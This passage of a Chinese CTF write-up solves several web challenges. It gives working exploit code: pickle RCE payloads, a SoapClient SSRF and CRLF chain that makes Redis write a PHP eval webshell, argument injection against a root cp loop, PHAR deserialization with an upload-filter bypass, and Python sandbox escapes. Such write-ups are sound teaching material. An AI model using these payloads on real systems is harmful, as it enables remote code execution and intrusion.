    把这段 payload 进行 base64 编码后传入:
    http
    /pickle_dsa?data=Y3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CihTJ2VudicKdFIu
    
  2. 利用 __reduce__ 编写 pickle 序列化脚本:
    python
    import pickle
    import base64
    import subprocess
    
    class P:
        def __reduce__(self):
            return (subprocess.check_output, ("env",))
    
    payload = pickle.dumps(P(), protocol=0)
    
    print(base64.b64encode(payload).decode())
    

    得到:
    txt
    Y2NvbW1hbmRzCmNoZWNrX291dHB1dApwMAooVmVudgpwMQp0cDIKUnAzCi4=
    

    或者不用 subprocess 模块,用更加熟悉的 os 模块,比如:
    python
    import pickle
    import base64
    
    class P:
        def __reduce__(self):
            return (eval, ("__import__('os').popen('env').read()",))
    
    payload = pickle.dumps(P(), protocol=0)
    
    print(base64.b64encode(payload).decode())
    

    得到:
    txt
    Y19fYnVpbHRpbl9fCmV2YWwKcDAKKFZfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdlbnYnKS5yZWFkKCkKcDEKdHAyClJwMwou
    

这真的是反序列化

依旧补充前置知识,顺便给出本题思路和流程:

  1. PHP 原生类
    平时做 POP 链时一般利用题目自己写的类,比如:
    php
    class A {}
    class B {}
    class C {}
    

    然后在这些类里面找:
    php
    __destruct()
    __wakeup()
    __toString()
    __call()
    __invoke()
    

    这种魔术方法,拼出一条 POP 链。
    但是 PHP 本身也自带很多类,这些类不是题目作者写的,而是 PHP 扩展或 PHP 内部提供的,所以一般叫 PHP 原生类 / PHP 内置类。比如:
    php
    SoapClient
    SplFileObject
    DirectoryIterator
    SimpleXMLElement
    Exception
    PDO
    ZipArchive
    Phar
    

    本题的关键点不是在题目自定义类里面找复杂 POP 链,而是利用题目中的:
    php
    new $this->web($this->misc, $this->crypto);
    

    让程序去实例化 PHP 原生类 SoapClient
  2. 动态实例化类
    PHP 里可以用字符串作为类名来创建对象,例如:
    php
    $class = "SoapClient";
    $obj = new $class(null, array(
        "location" => "http://127.0.0.1:6379/",
        "uri" => "test"
    ));
    

    这就等价于:
    php
    $obj = new SoapClient(null, array(
        "location" => "http://127.0.0.1:6379/",
        "uri" => "test"
    ));
    

    所以如果源码里出现:
    php
    new $this->web($this->misc, $this->crypto)
    

    并且 $this->web$this->misc$this->crypto 都可以通过反序列化控制,那么就可以让它变成:
    php
    new SoapClient(null, array(...))
    
  3. SoapClient
    SoapClient 是 PHP 自带的 SOAP 客户端类,本来作用是请求 SOAP 服务。
    可以简单理解成:

    SoapClient 是 PHP 里一个能主动向外发 HTTP 请求的原生类。


    它有两种使用方式:
    第一种是 WSDL 模式,比如:
    php
    new SoapClient("http://example.com/service.wsdl");
    

    WSDL 可以理解成 SOAP 服务的说明书,里面会告诉客户端:这个服务有哪些方法、参数是什么、请求地址在哪里。
    第二种是 非 WSDL 模式,也就是本题用的方式:
    php
    new SoapClient(null, array(
        "location" => "http://127.0.0.1:6379/",
        "uri" => "test"
    ));
    

    第一个参数传 null,表示不用 WSDL 文件。
    第二个参数是配置数组,其中比较关键的是 "location""uri"
    • location 表示 SOAP 请求要发往哪里,比如:
      php
      "location" => "http://127.0.0.1:6379/"
      

      意思就是让 SoapClient 把请求发到本机的 6379 端口,也就是 Redis 常见端口。
    • uri 表示 SOAP 服务的命名空间。可以简单理解成:给这个 SOAP 服务起一个唯一标识,避免不同 SOAP 服务之间名字冲突。

    需要知道:uri 会被拼进 SoapClient 发出的 HTTP 请求头里,所以如果这里可控,就可能配合 CRLF 注入伪造额外内容。
  4. SoapClient 造成 SSRF
    SSRF 的本质是:

    服务端帮我们去访问一个我们指定的地址。


    本题中如果构造:
    php
    $this->web = "SoapClient";
    $this->misc = null;
    $this->crypto = array(
        "location" => "http://127.0.0.1:6379/",
        "uri" => "test"
    );
    

    那么执行:
    php
    $this->pwn = new $this->web($this->misc, $this->crypto);
    

    就等价于:
    php
    $this->pwn = new SoapClient(null, array(
        "location" => "http://127.0.0.1:6379/",
        "uri" => "test"
    ));
    

    这一步只是创建了 SoapClient 对象,还没有真正发请求。
    真正发请求的位置在:
    php
    $this->pwn->play_0xGame();
    

    因为 $this->pwn 此时是 SoapClient 对象,所以调用:
    php
    $this->pwn->play_0xGame();
    

    会被 SoapClient 当成一次远程 SOAP 方法调用。
    也就是说,虽然代码里看起来是在调用一个普通方法 play_0xGame(),但实际上 SoapClient 会为了调用这个远程方法,主动向 location 指定的地址发送 HTTP 请求。
    所以这题的 SSRF 触发逻辑就是:
    txt
    反序列化控制属性
    ↓
    web = SoapClient
    ↓
    new $this->web(...) 实例化 SoapClient
    ↓
    调用 $this->pwn->play_0xGame()
    ↓
    SoapClient 向 location 发 HTTP 请求
    ↓
    服务端访问 127.0.0.1:6379
    
  5. CRLF 注入
    HTTP 请求头每一行都是用换行符分隔的,换行符一般是 \r\n
    其中:
    txt
    \r 表示回车
    \n 表示换行
    

    如果某个本来应该只放普通字符串的位置,可以插入 \r\n,就可以提前结束当前请求头,再伪造新的请求头或新的内容,这就叫 CRLF 注入
    在本题中,SoapClient 发请求时会生成类似这样的 HTTP 请求:
    http
    POST / HTTP/1.1
    Host: 127.0.0.1:6379
    Content-Type: text/xml; charset=utf-8
    SOAPAction: "test#play_0xGame"
    Content-Length: xxx
    

    其中 uri 会影响 SOAPAction 相关内容。
    如果把 uri 构造成带有 \r\n 的字符串,比如:
    txt
    "uri" => "hello\"\r\nRedis命令\r\nhello"
    

    那么原本正常的一行 HTTP 头就可能被拆开,后面的内容就会被当成新的行发送出去,这样就可以把 Redis 命令塞进 SoapClient 发出的请求里。
  6. 打 Redis
    题目提示里有:
    php
    //hint: Redis20251206
    

    这个提示说明内网大概率有 Redis 服务,并且密码是 20251206
    Redis 常见端口是 6379,所以目标地址可以写成:
    php
    "location" => "http://127.0.0.1:6379/"
    

    也就是让服务端自己访问本机 Redis。
    Redis 支持用命令修改保存目录和保存文件名,比如:
    txt
    AUTH 20251206
    CONFIG SET dir /var/www/html/
    CONFIG SET dbfilename shell.php
    SET x "<?php @eval($_POST[1]); ?>"
    SAVE
    

    含义分别是:
    txt
    AUTH 20251206
    先用密码登录 Redis。
    
    CONFIG SET dir /var/www/html/
    把 Redis 持久化文件保存目录改到网站目录。
    
    CONFIG SET dbfilename shell.php
    把 Redis 持久化文件名改成 shell.php。
    
    SET x "<?php @eval($_POST[1]); ?>"
    往 Redis 里写入一句话木马内容。
    
    SAVE
    让 Redis 立刻把数据保存到磁盘。
    

    如果执行成功,Redis 就会在网站目录下写出 /var/www/html/shell.php,然后访问 /shell.php,并用 POST 参数 1 传命令,就可以执行 PHP 代码。

总结,本题首先编写 exp:

php
<?php
class pure {
    public $web = "SoapClient";
    public $misc = null; 
    public $crypto;
    public $pwn;
}

$a = new pure();
$cmd =
    "AUTH 20251206\r\n" .
    "CONFIG SET dir /var/www/html/\r\n" .
    "CONFIG SET dbfilename shell.php\r\n" .
    "SET x \"<?php @eval(\$_POST[1]); ?>\"\r\n" .
    "SAVE\r\n";
$a->crypto = array(
    "location" => "http://127.0.0.1:6379/",
    "uri" => "hello\"\r\n" . $cmd . "\r\nhello"
);
echo urlencode(serialize($a));

注意编写脚本的时候小心 payload 中不要出现换行。

得到:

txt
O%3A4%3A%22pure%22%3A4%3A%7Bs%3A3%3A%22web%22%3Bs%3A10%3A%22SoapClient%22%3Bs%3A4%3A%22misc%22%3BN%3Bs%3A6%3A%22crypto%22%3Ba%3A2%3A%7Bs%3A8%3A%22location%22%3Bs%3A22%3A%22http%3A%2F%2F127.0.0.1%3A6379%2F%22%3Bs%3A3%3A%22uri%22%3Bs%3A136%3A%22hello%22%0D%0AAUTH+20251206%0D%0ACONFIG+SET+dir+%2Fvar%2Fwww%2Fhtml%2F%0D%0ACONFIG+SET+dbfilename+shell.php%0D%0ASET+x+%22%3C%3Fphp+%40eval%28%24_POST%5B1%5D%29%3B+%3F%3E%22%0D%0ASAVE%0D%0A%0D%0Ahello%22%3B%7Ds%3A3%3A%22pwn%22%3BN%3B%7D 

传入后,访问 /shell.php,同时传入:

http
1=system('env');

得到 flag。

Plus_plus

查看源码,找到:

html
<!--?0xGame-->

传入 ?0xGame 得到源码:

题目也是一直提示加加加的,是要用自增绕过,但是有长度限制,稍微短一点就行:

http
web=$C=H;$C++;$C++;$C++;$C++;$C++;$C++;$C++;$_=$C;$C++;$H=_.$C.$_;$C++;$C++;$C++;$H.=$C;$C++;$H.=$C;$$H[_]($$H[__]);

但是记得要 URL 编码,传入:

http
web=%24C%3DH%3B%24C%2B%2B%3B%24C%2B%2B%3B%24C%2B%2B%3B%24C%2B%2B%3B%24C%2B%2B%3B%24C%2B%2B%3B%24C%2B%2B%3B%24_%3D%24C%3B%24C%2B%2B%3B%24H%3D_.%24C.%24_%3B%24C%2B%2B%3B%24C%2B%2B%3B%24C%2B%2B%3B%24H.%3D%24C%3B%24C%2B%2B%3B%24H.%3D%24C%3B%24%24H%5B_%5D(%24%24H%5B__%5D)%3B&_=system&__=env

你好,爪洼脚本

打开 F12 复制粘贴到控制台里面,输出:

txt
Hello, JavaScript

flag 就是 flag{Hello, JavaScript}

放开我的变量

扫目录扫到 /robots.txt,访问找到新地址 /asdback.php,访问得到:

php
<?php
highlight_file(__FILE__);
echo("Please Input Your CMD");
$cmd = $_POST['__0xGame2025phpPsAux'];
eval($cmd);
?>

传入:

http
__0xGame2025phpPsAux=system('env');

然后拿到 flag,但这是非预期,假装一下不知道环境变量里面有 flag。

传入:

http
__0xGame2025phpPsAux=system('cat /flag');

没有回显,再传入:

http
__0xGame2025phpPsAux=system('ls / -la');

回显中发现 -rwx------ 1 root root 45 Oct 15 2025 flag,说明权限不够看不了 /flag,需要提权。

枚举 SUID 程序,传入:

http
__0xGame2025phpPsAux=system('find / -perm -4000');

返回结果没有找到可利用的二进制文件。

再列举一下当前机器上的进程清单,传入:

http
__0xGame2025phpPsAux=system('ps -aux');

或者传入少一点非必要信息的:

http
__0xGame2025phpPsAux=system('ps -eo pid,ppid,user,cmd');

返回:

txt
PID   PPID  USER      CMD
1     0     root      apache2 -DFOREGROUND

7     1     root      /bin/bash /start.sh

21    1     www-data  apache2 -DFOREGROUND
23    1     www-data  apache2 -DFOREGROUND
24    1     www-data  apache2 -DFOREGROUND
25    1     www-data  apache2 -DFOREGROUND
29    1     www-data  apache2 -DFOREGROUND
30    1     www-data  apache2 -DFOREGROUND
31    1     www-data  apache2 -DFOREGROUND
233   1     www-data  apache2 -DFOREGROUND
234   1     www-data  apache2 -DFOREGROUND
235   1     www-data  apache2 -DFOREGROUND

1074  7     root      sleep 5

1075  21    www-data  sh -c ps -eo pid,ppid,user,cmd
1076  1075  www-data  ps -eo pid,ppid,user,cmd

其中重点看存在 root 权限的:

txt
7     1     root      /bin/bash /start.sh
1074  7     root      sleep 5

说明容器启动后,有一个 root 权限的 /start.sh 脚本在运行,而且它现在卡在 sleep 5

看看 /start.sh 到底在每 5 秒干什么:

http
__0xGame2025phpPsAux=system('cat /start.sh');

返回:

sh
#!/bin/bash
cd /var/www/html/primary
while :
do
    cp -P * /var/www/html/marstream/
    chmod 755 -R /var/www/html/marstream/
    sleep 5s
done &

exec apache2-foreground

意思是:

  1. cd /var/www/html/primary 把工作目录切到 primary。
  2. while :; do ...; done 无限循环执行下面三步。
    1. cp -P * /var/www/html/marstream/ 把 primary 里的所有文件拷贝到 marstream。-P 表示遇到软链接时按“链接本身”处理(不跟随目标)。
    2. chmod 755 -R /var/www/html/marstream/ 把 marstream 目录下所有文件/目录权限改成 755(可读可执行,属主可写)。
    3. sleep 5s 每轮停 5 秒,再继续。
  3. exec apache2-foreground 前台启动 Apache(容器主进程)。

查看一下 /var/www/html/primary/var/www/html/marstream/ 的权限:

http
__0xGame2025phpPsAux=system('ls -la');

返回结果中有:

txt
drwxrwxrwx 1 root root 4096 May 8 15:23 primary
drwxr-xr-x 1 root root 4096 May 8 15:23 marstream

说明任何用户都可以往 /var/www/html/primary 里面写文件。

这里关键点在:

sh
cp -P * /var/www/html/marstream/

* 会被 shell 展开成当前目录下的所有文件名。如果在 primary 目录里创建一个名为 -L 的文件,那么 root 执行时,命令就会变成类似:

sh
cp -P -L /var/www/html/marstream/

-P 的意思是不跟随软链接,只复制软链接本身;但是 -L 的意思是跟随软链接,复制软链接指向的真实文件内容。

因为 -L 出现在后面,会覆盖前面的 -P 效果。于是可以在 primary 目录下放一个指向 /flag 的软链接,让 root 脚本把 /flag 的内容复制到 marstream 里面。

比如传入:

http
__0xGame2025phpPsAux=system('touch /var/www/html/primary/-L;ln -s /flag /var/www/html/primary/flag111');

此时 /var/www/html/primary/ 里应该至少有 -Lflag111 两个文件,所以 /start.sh 里的:

sh
cp -P * /var/www/html/marstream/

会展开成:

sh
cp -P -L flag111 /var/www/html/marstream/

其中:

txt
-L     被 cp 当成参数
flag111   被 cp 当成源文件
/var/www/html/marstream/   是目标目录

所以现在软链接文件 /var/www/html/marstream/flag111 指向的 /flag 被有 root 权限的 /start.sh 复制到了 /var/www/html/marstream/flag111

访问 /marstream/flag111 拿到 flag。

文件查询器(蓝)

先提一个小小的非预期,直接在查询文件的框里输入:

txt
../../../../proc/self/environ

就能拿到环境变量,base64 解码后 flag 就在里面。咳咳,假装不知道这个。

根据上面的非预期也能看出来,这个查询文件是可以返回目标文件的 base64 编码结果的,因此可以利用这点查看源码,传入:

txt
./index.php

base64 解码得到:

首先找源码中的关键代码,即可以实现 RCE 的地方:

php
var_dump($HG2($FM2tM));

这里就是关键,如果能控制:

php
$HG2 = "system";
$FM2tM = "env";

最后就是:

php
var_dump(system("env"));

所以现在要想办法造一个 MaHaYu 对象,并控制它的属性。

但是源码里没有直接出现:

php
unserialize($_POST['xxx'])

或者:

php
new MaHaYu($_POST...)

这样的入口,即普通反序列化入口不存在。

源码里真正可控的是:

php
$file = $_POST['file'];
echo base64_encode(file_get_contents($file));

也就是用户只能控制 file_get_contents($file) 读取什么路径。

这里的关键在于 file_get_contents() 不只是能读普通文件,它还能走 PHP 的伪协议,比如:

txt
php://filter
file://
data://
php://input
phar://

php://filterfile:// 分别被关键词 filterfile 拦截,data://php://inputfile_get_contents() 中只能被读取构造的数据,不会把内容当 PHP 执行。

且本题也存在 __destruct() 作为反序列化起点,所以本题可以用 phar:// 让文件读取函数触发 PHAR 反序列化。

补充点前置知识:

  1. PHAR
    PHAR 全称是 PHP Archive,可以理解成 PHP 里的压缩包格式,类似 Java 里的 jar 包。
    一个 PHAR 文件里面可以放很多文件,同时它还有一个特殊位置叫 metadata,也就是元数据,这个 metadata 可以保存任意 PHP 变量。
    比如可以这样把一个对象塞进 PHAR 的 metadata 里:
    php
    $phar->setMetadata($obj);
    

    关键在于,对象放进 metadata 时,本质上会被序列化保存,即 PHAR 文件里可以藏一段序列化对象。
  2. phar:// 触发反序列化
    正常反序列化是:
    php
    unserialize($data);
    

    但是 PHAR 反序列化不一样,它的利用点是:
    php
    file_get_contents("phar://xxx")
    

    当 PHP 用 phar:// 访问一个 PHAR 文件时,会尝试把这个文件当成 PHAR 归档解析。
    旧版本 PHP(PHP 8.0 以前的版本) 中,解析 PHAR 时会读取并反序列化 metadata,所以即使源码里没有 unserialize(),也可能间接触发对象反序列化。
    所以本题的触发逻辑是:
    txt
    用户控制 file 参数
    ↓
    file_get_contents($file)
    ↓
    传入 phar://xxx
    ↓
    PHP 按 PHAR 格式解析文件
    ↓
    读取 PHAR metadata
    ↓
    metadata 里的对象被反序列化
    ↓
    对象销毁时触发 __destruct()
    

回到题目源码:

  1. 分析正则限制:
    根据源码,反序列化的终点在 MaHaYu::__destruct() 中,核心执行代码为:
    php
    var_dump($HG2($FM2tM));
    

    需要将 $HG2 赋值为命令执行函数(如 system),将 $FM2tM 赋值为系统命令(如 env)。
    在这之前有:
    php
    public function __construct()
    {
      $this -> ZombiegalKawaii();
    }
        
    public function ZombiegalKawaii()
    {
      $HG2 = $this -> HG2;
      if(preg_match("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|e
      {
        die("这这这你也该绕过去了吧");
      }
      else{
        $this -> ToT = "这其实是来占位的";
      }
    }
    

    这一串表示 MaHaYu 类的 __construct() 内部调用了 ZombiegalKawaii(),对 $HG2 进行了严格的正则黑名单校验。
    但是反序列化过程中并不会触发类的 __construct() 魔术方法,这串当没有都可以。
  2. 编写 PHAR 生成脚本 exp.php:
    php
    <?php
    class MaHaYu{
        public $HG2;
        public $ToT;
        public $FM2tM;
    }
    
    $file = new Phar("shell.phar");
    
    $file->startBuffering();
    
    $file->setStub("<?php __HALT_COMPILER();?>");
    $file->addFromString("a", "aaa");
    
    $a = new MaHaYu();
    $a->HG2 = "system";
    $a->FM2tM = "env";
    
    $file->setMetadata($a);
    
    $file->stopBuffering();
    

    分析一下该 exp 的各部分:
    1. 定义同名类
      php
      class MaHaYu{
          public $HG2;
          public $ToT;
          public $FM2tM;
      }
      

      这里要和目标源码里的类名、属性名保持一致。
    2. 创建 PHAR 文件对象
      php
      $file = new Phar("shell.phar");
      

      这句表示创建一个名为 shell.phar 的 PHAR 文件。
    3. 开始缓存写入
      php
      $file->startBuffering();
      

      表示开始构造 PHAR 文件内容。
      后面的 stub、内部文件、metadata 都先写进去,最后通过:
      php
      $file->stopBuffering();
      

      统一保存。
    4. 设置 PHAR 的 stub
      php
      $file->setStub("<?php __HALT_COMPILER();?>");
      

      stub 可以理解成 PHAR 文件开头必须有的一段 PHP 代码。__HALT_COMPILER(); 的作用就是告诉 PHP:
      txt
      PHP 代码到这里结束,后面是 PHAR 归档数据
      
    5. 往 PHAR 里添加一个普通文件
      php
      $file->addFromString("a", "aaa");
      

      这句是在 PHAR 里面放一个文件 a,内容是 aaa,便于后面触发时访问。
    6. 创建恶意对象
      php
      $a = new MaHaYu();
      $a->HG2 = "system";
      $a->FM2tM = "env";
      

      这样设置最后目标服务器触发时就会变成:
      php
      var_dump(system("env"));
      
    7. 把对象放进 metadata
      php
      $file->setMetadata($a);
      

      这句是 PHAR 反序列化的核心,它会把 $a 这个 MaHaYu 对象放进 PHAR 的 metadata 里。
      后面通过 phar:// 协议实现 PHP 解析 PHAR 时,就会触发 metadata 反序列化,从而还原出这个 MaHaYu 对象。
    8. 写入完成
      php
      $file->stopBuffering();
      

      表示 PHAR 文件构造完成,真正生成 shell.phar

    在终端运行:
    bash
    php -d phar.readonly=0 exp.php
    

    得到 shell.phar。
  3. 上传 shell.phar:
    上传刚刚得到的 shell.phar 后跳转到 /upload.php 并返回:
    txt
    请重新尝试喵
    

    说明 upload.php 也存在限制,回到首页的查询文件,输入:
    txt
    ./upload.php
    

    base64 解码得到:

    strpos($content, "__HALT_COMPILER();")

    $content 这段文件内容里查找是否出现了 __HALT_COMPILER();,找到就返回位置,找不到就返回 false

    gettype($pos)==="integer"

    gettype($pos) 可以查看 $pos 这个变量是什么数据类型,integer 就是整数类型。

    如果 $pos 是整数,说明 strpos() 找到了目标字符串。


    意思就是:
    txt
    只允许上传 jpg / png / pdf 后缀
    并且上传内容里不能出现 __HALT_COMPILER();
    如果通过检查,就保存到 ./upload/文件名
    

    第一个限制只检查文件名后缀,没有检查真实文件类型,所以可以把 shell.phar 改名成 shell.jpg 上传。
    第二个限制是在文件内容里查找:
    php
    __HALT_COMPILER();
    

    可以通过 gzip 压缩后更改后缀为 jpg 上传绕过,即运行:
    bash
    gzip -c shell.phar > shell.jpg
    

    然后上传 shell.jpg。
    最后回到首页的查询文件,输入:
    txt
    phar://./upload/shell.jpg/a
    

    得到 flag。

消栈逃出沙箱(1)反正不会有2

首页直接放出源码,先补充点前置知识:

  1. 沙箱逃逸

    沙箱

    程序允许用户执行代码,但是只给一个被限制过的运行环境。


    Python 里直接执行用户输入会很危险:
    python
    exec("恶意代码")
    

    比如用户传:
    python
    import os
    os.system("cat /flag")
    

    服务器就会执行系统命令。
    所以这个题目写了一个“沙箱”:
    python
    whitelist = {
        "print": print,
        "list": list,
        "len": len,
        "Exception": Exception,
    }
    
    safe_globals = {
        "__builtins__": whitelist
    }
    
    try:
    	exec(code, safe_globals)
    

    意思是:执行用户代码时,只给用户留下几个内置函数,即在这个沙箱里,理论上只能用:
    python
    print()
    list()
    len()
    Exception
    

    不能直接用:
    python
    import os
    open('/flag')
    eval()
    exec()
    

    等等危险函数和模块。
    但是 Python 里面函数、类、模块本身也是对象,对象可以继续往外找属性
    比如题目虽然只给了 print,但 print 不是一个普通字符串,它是 Python 内置函数对象。
    在 Python 里:
    python
    print.__self__
    

    可以拿到 builtins 模块,而 builtins 模块里面就有完整的内置函数,比如:
    python
    __import__
    open
    eval
    exec
    

    所以沙箱虽然表面只给了 print,但实际上通过 print.__self__ 又能绕回完整的 builtins,这就是逃逸点。
  2. 栈帧
    在 Python 里,每执行一层函数 / 代码,解释器都会创建一个 frame 对象,这个 frame 对象就叫栈帧。
    可以简单理解成:栈帧 = 当前这一层代码运行时的现场记录。
    比如有这样一段代码:
    python
    def a():
        x = 1
        b()
    
    def b():
        y = 2
        print("hello")
    
    a()
    

    执行流程是:
    txt
    先执行最外层脚本
    ↓
    调用 a(),进入 a() 这一层
    ↓
    a() 里面又调用 b(),进入 b() 这一层
    

    所以运行时大概会有这样的层级:
    txt
    b() 的栈帧
    a() 的栈帧
    最外层脚本的栈帧
    

    越上面代表越新,越下面代表越早,即函数调用得越深,栈帧就越多。
    例如本题,用户访问 /check 之后,大概是:
    txt
    Flask 框架处理请求
    ↓
    进入 check() 路由函数
    ↓
    调用 safe_sandbox_exec(data)
    ↓
    safe_sandbox_exec() 里面执行 exec(code, safe_globals)
    ↓
    用户传入的 code 被执行
    

    可以理解成:
    txt
    用户代码这一层
    safe_sandbox_exec() 这一层
    check() 路由函数这一层
    Flask 外层调用这一层
    

    所谓“栈帧逃逸”,就是从用户代码这一层,往上翻到外面的 Python 代码层
  3. frame
    一个 frame 对象里面保存了当前代码这一层的很多信息,比较关键的是这些:
    python
    f_locals    当前这一层的局部变量
    f_globals   当前这一层的全局变量
    f_builtins  当前这一层能用的内置函数
    f_back      上一层栈帧
    f_code      当前正在执行的代码对象
    

    其中最关键的是 f_back,它表示“上一层栈帧”。
    比如当前在用户代码这一层,那么 frame.f_back 就可能回到调用它的上一层,也就是 safe_sandbox_exec() 那一层。
    如果继续 frame.f_back.f_back 就可能继续回到 check() 路由函数那一层。
    所以 f_back 可以理解成顺着调用链往外爬,这也是“栈帧逃逸”的核心。

现在回到源码,进行常规的代码审计:

  1. 先找路由
    源码里有两个路由:
    python
    @app.route('/')
    def index():
        return open(__file__).read()
    

    这个路由是 /,访问主页时会直接返回当前源码。
    python
    @app.route('/check', methods=['POST'])
    def check():
        data = request.form['data']
    
        if not data:
            return Response("NO data", status=400)
    
        for d in blackchar:
            if d in data:
                return Response("NONONO", status=400)
    
        secret = safe_sandbox_Exec(data)
    
        return Response(secret, status=200)
    

    这个路由是 /check,并且只接受 POST 请求,这里是核心路由。
    执行流程是:
    1. 从 POST 表单里取 data
    2. 判断 data 是否为空
    3. 检查 data 里有没有黑名单字符:
      python
      blackchar = "&*^%#${}@!~`·/<>"
      
    4. 如果前面都通过,就把 data 传给 safe_sandbox_Exec(data)
    5. 最后返回执行结果。

    所以本题的入口是:
    http
    POST /check
    data=可控 Python 代码
    
  2. 定位 safe_sandbox_Exec()
    python
    def safe_sandbox_Exec(code):
        whitelist = {
            "print": print,
            "list": list,
            "len": len,
            "Exception": Exception
        }
    
        safe_globals = {
            "__builtins__": whitelist
        }
    
        original_stdout = sys.stdout
        original_stderr = sys.stderr
    
        sys.stdout = io.StringIO()
        sys.stderr = io.StringIO()
    
        try:
            exec(code, safe_globals)
    
            output = sys.stdout.getvalue()
            error = sys.stderr.getvalue()
    
            return output or error or "No output"
    
        except Exception as e:
            return f"Error: {e}"
    
        finally:
            sys.stdout = original_stdout
            sys.stderr = original_stderr
    

    分析 safe_sandbox_Exec() 这个函数的源码,主要看白名单,这里构造了一个受限的执行环境:
    python
    whitelist = {
        "print": print,
        "list": list,
        "len": len,
        "Exception": Exception
    }
    safe_globals = {
        "__builtins__": whitelist
    }
    

    也就是说,用户传入的代码虽然会被 exec() 执行:
    python
    exec(code, safe_globals)
    

    但是能用的内置函数只有:
    txt
    print、list、len、Exception
    

    不能直接使用 openeval__import__ 等危险函数。
  3. 构造 payload
    1. 从白名单对象找突破口
      白名单里保留了 print,而 print 本身有一个属性 __self__,且对于 print 来说:
      python
      print.__self__
      

      指向的是 builtins 模块,即可以从白名单里的 print 反向拿到真正的内置模块 builtins
      继续构造:
      python
      print.__self__.__import__('os').popen('env').read()
      

      所以访问 /check 并 POST 传入:
      http
      data=print(print.__self__.__import__('os').popen('env').read())
      
    2. 栈帧逃逸
      白名单里面除了 print,还有:
      python
      "Exception": Exception
      

      这说明本题可以在沙箱里使用异常类。
      先主动抛出一个异常:
      python
      try:
          raise Exception()
      except Exception as e:
          print(e.__traceback__)
      

      这里的:
      python
      raise Exception()
      

      表示主动抛出一个异常。
      然后:
      python
      except Exception as e:
      

      会把异常对象保存到变量 e 里面。
      异常对象里有一个重要属性:
      python
      e.__traceback__
      

      __traceback__ 保存的是异常发生时的调用链。
      继续访问:
      python
      e.__traceback__.tb_frame
      

      可以拿到异常发生时所在的栈帧。
      继续用 .f_back 回到上一层栈帧:
      python
      e.__traceback__.tb_frame.f_back
      

      这里上一层就是外面的 safe_sandbox_exec(code),即通过 f_back 从沙箱代码的栈帧,回到了 safe_sandbox_exec() 函数的栈帧。
      拿到外层栈帧后,再访问:
      python
      e.__traceback__.tb_frame.f_back.f_globals
      

      f_globals 表示这一层函数所在文件的全局变量,所以这里拿到的就是题目源码文件真正的全局命名空间。
      继续构造:
      python
      e.__traceback__.tb_frame.f_back.f_globals["__builtins__"].__import__("os").popen("env").read()
      

      所以访问 /check 并 POST 传入:
      python
      try:
          raise Exception()
      except Exception as e:
      	print(e.__traceback__.tb_frame.f_back.f_globals["__builtins__"].__import__("os").popen("env").read())
      

      但是 Python 对换行和缩进很敏感,这里直接用 hackbar 传入会导致服务端实际拿到的内容变成一行,即 payload 的换行和缩进被破坏,所以需要传入 URL 编码结果:
      http
      data=try%3A%0A%20%20%20%20raise%20Exception%28%29%0Aexcept%20Exception%20as%20e%3A%0A%09print%28e.__traceback__.tb_frame.f_back.f_globals%5B%22__builtins__%22%5D.__import__%28%22os%22%29.popen%28%22env%22%29.read%28%29%29
      
    3. Typhon 一把梭
      Typhon 是一个 pyjail / Python 沙箱绕过工具。官方说明它支持 bypassRCE() 做命令执行、bypassRead() 做文件读取等功能,并且可以把黑名单、正则、长度限制、执行命名空间传进去。
      python
      def run():
          blackchar = "&*^%#${}@!~`·/<>"
      
          whitelist = {
              "print": print,
              "list": list,
              "len": len,
              "Exception": Exception,
          }
      
          safe_globals = {
              "__builtins__": whitelist
          }
      
          import Typhon
          Typhon.bypassRCE(
              "env",
              banned_chr=list(blackchar),
              local_scope=safe_globals,
              max_length=160,
              interactive=False,
              print_all_payload=True,
              log_level='INFO'
          )
      
      run()
      

      这里几个参数的意思是:
      txt
      "env":希望最终执行的命令。
      banned_chr:题目过滤的字符。
      local_scope:题目 exec 使用的受限命名空间。
      max_length:payload 的最大长度。
      interactive=False:不要生成依赖交互输入的 payload。
      print_all_payload=True:把找到的 payload 都打印出来。
      

      运行后得到很多 payload:
      image-20260510193627581
      比如用:
      python
      ().__class__.__mro__[1].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('os').popen('env').read()
      

      只需加上 print() 打印出来即可,所以访问 /check 并 POST 传入:
      http
      data=print(().__class__.__mro__[1].__reduce_ex__(0,3)[0].__globals__['__builtins__']['__import__']('os').popen('env').read())
      

New_Python!

先随便注册个账户 test/111 登录进去,下载提示:

guess.py:

不会做,问 AI 要了个脚本:

python
n = 70344167219256641077015681726175134324347409741986009928113598100362695146547483021742911911881332309275659863078832761045042823636229782816039860868563175749260312507232007275946916555010462274785038287453018987580884428552114829140882189696169602312709864197412361513311118276271612877327121417747032321669
e = 65537
c = 46438476995877817061860549084792516229286132953841383864271033400374396017718505278667756258503428019889368513314109836605031422649754190773470318412332047150470875693763518916764328434140082530139401124926799409477932108170076168944637643580876877676651255205279556301210161528733538087258784874540235939719
dp = 7212869844215564350030576693954276239751974697740662343345514791420899401108360910803206021737482916742149428589628162245619106768944096550185450070752523

x = e * dp - 1
p = next(x // k + 1 for k in range(1, e) if x % k == 0 and n % (x // k + 1) == 0)
q = n // p
d = pow(e, -1, (p - 1) * (q - 1))

m = pow(c, d, n)
s = m.to_bytes((m.bit_length() + 7) // 8, "big")

# 如果解出来是 key{xxx},就只取 {} 里面作为 uuid8 的 a
if s.startswith(b"key{") and s.endswith(b"}"):
    m = int.from_bytes(s[4:-1], "big")

print(m)

得到 a 的值为:

txt
183915192278352122275137263475187826728085592578452428749304943

然后在响应头里面找到:

http
X-Frame-Options: b = 120604030108

还有扫目录扫到 /auth,访问得到:

txt
{"c":"7430469441","token":"Token is Useless, But You Can Catch This Page!"}

已拿到 a、b、c,算 uuid8 就行了:

python
from uuid import UUID

a = 183915192278352122275137263475187826728085592578452428749304943
b = 120604030108
c = 7430469441

uid = UUID(int=
    ((a & ((1 << 48) - 1)) << 80) |
    (8 << 76) |
    ((b & ((1 << 12) - 1)) << 64) |
    (2 << 62) |
    (c & ((1 << 62) - 1))
)

print(uid)

得到:

txt
63727970-746f-849c-8000-0001bae3f741

接下来以 admin/63727970-746f-849c-8000-0001bae3f741 登录进去,是一个可以进行 RCE 的界面,直接输入 env 拿到 flag。

这真的是文件上传

这题附件结构大概是:

txt
App.zip
├── App.js              网站后端源码,最重要
├── views/
│   └── index.ejs       网页模板
├── package.json        项目依赖说明
└── package-lock.json   依赖锁定文件,基本不用看

真正要看的只有 App.js 和 views。

